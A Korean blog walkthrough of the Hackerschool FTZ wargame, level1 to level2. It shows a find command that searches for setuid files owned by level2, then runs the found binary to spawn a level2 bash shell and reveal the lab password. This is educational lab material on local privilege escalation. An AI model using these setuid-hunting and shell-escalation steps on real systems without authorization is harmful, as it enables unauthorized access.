본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level1 -> level2 ) by ORANG

FTZ_level1

 

로그인 후에 level1 디렉토리 내용을 확인 하겠습니다.

 [level1@ftz level1]$ ls

hint  public_html  tmp

hint 라는 파일이 존재하는군요ㅎㅎ 내용을 확인해보면

 

 [level1@ftz level1]$ cat hint

 

 

level2 권한에 setuid가 걸린 파일을 찾는다.

 

 

level2 권한에 setuid가 걸린 파일을 찾으라고 하네요.

setuid란 사용자가 파일을 사용하는동안 파일 소유자의 권한을 일시적으로 획득할 수 있도록 하는 겁니다.

level2 권한에 setuid가 걸려있다는 것은 해당 파일을 실행하는동안 level1은 level2의 권한을 획득한다는거죠!

 

그럼 찾아보겠습니다.

 [level1@ftz level1]$ find . / -user level2 -perm +6000 2>/dev/null

/bin/ExcuteMe

[level1@ftz level1]$ ls -l /bin/ExcuteMe

-rwsr-x---    1 level2   level1      12900  6월  5 08:42 /bin/ExcuteMe

 

find 명령어를 통해 간단하게 level2 유저소유의, setuid가 적용된 파일을 찾았습니다.

‘ 2>/dev/null ‘ 은 표준에러(2) 출력을 /dev/null(리눅스의 휴지통개념 )으로 리다이렉션하라! 라는 뜻입니다.

해당 파일을 실행시켜보면..

  레벨2의 권한으로 당신이 원하는 명령어를

한가지 실행시켜 드리겠습니다.

(단, my-pass 와 chmod는 제외)

 

어떤 명령을 실행시키겠습니까?

 

 

[level2@ftz level2]$

 

1가지 명령어를 실행시켜주겠다네요ㅎㅎ 셸을 띄우겠습니다.

‘/bin/bash’를 입력해 셸을 띄우면 level2의 셸을 획득할 수 있습니다.

 [level2@ftz level2]$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level2@ftz level2]$ my-pass

 

Level2 Password is "hacker or cracker”.